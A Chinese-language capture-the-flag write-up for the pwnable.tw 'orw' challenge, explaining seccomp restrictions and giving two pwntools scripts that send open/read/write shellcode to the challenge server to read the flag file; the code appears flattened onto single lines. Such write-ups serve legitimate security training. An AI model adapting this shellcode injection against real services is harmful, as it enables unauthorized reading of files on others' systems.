题源
题解
保护
只开启了栈保护
分析
进入ida分析 main函数如下
seccomp (Secure Computing Mode)是一种 Linux 内核安全机制,它可以 限制进程可执行的系统调用(syscall),用于减少攻击面,提高程序安全性。
使用seccomp-tools查看允许调用的函数,即orw(open,read,write)
seccomp安装方法
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
使用方法
seccomp-tools dump ./orw
该题只允许调用open,read,write.再联系题目上的信息,flag在/home/orw/flag下,即调用open打开文件,read读取文件,write输出文件内容,接下来就是编写shellcode,使用Pwntools下的shellcraft帮助编写
exp
open(path,flag,mode) flag:只读 只写 读写 mode:新建文件的权限
read(fd,buf,count) fd:文件描述符 buf:内存缓冲区 count:读取字符数
write(fd,buf,count) 和read相同
第一种
点我一下QaQ
from pwn import * context(os='linux', arch='i386', log_level='debug')
content = 0if content == 1:io = process("./orw")
else:io = remote("chall.pwnable.tw",10001)def main():io.recvuntil("shellcode:")payload = shellcraft.open('/home/orw/flag',0,0)payload += shellcraft.read(3,'/home/orw/flag', 100)#当一个文件被打开时,会占用0,1,2三个文件描述符,而Linux中文件描述符是增加的,所以会返回3payload += shellcraft.write(1, '/home/orw/flag', 100)#这里的fd = 1指标准输出到终端io.sendline(asm(payload))io.interactive()if __name__ == '__main__':main()
第二种
再点我一下 0.0
from pwn import * context(os='linux', arch='i386', log_level='debug')
content = 0if content == 1:io = process("./orw")
else:io = remote("chall.pwnable.tw",10001)def main():io.recvuntil("shellcode:")payload = shellcraft.open('/home/orw/flag')payload += shellcraft.read('eax','ebp', 100)#open返回的文件描述符会存入eax,ebp作为缓冲区地址,存放读取的内容,即‘/home/orw/flag’payload += shellcraft.write(1, 'ebp', 100)io.sendline(asm(payload))io.interactive()if __name__ == '__main__':main()
推荐第二种,因为在不同的系统调用中,返回的文件描述符不一定相同,但是一定都存放在eax中.
在第一种中的payload += shellcraft.read(3,'/home/orw/flag', 100)和write调用中,
'/home/orw/flag'会shellcraft作为缓冲区地址,但是Pwntools会自动处理.因此第二种更有普适性
得到flag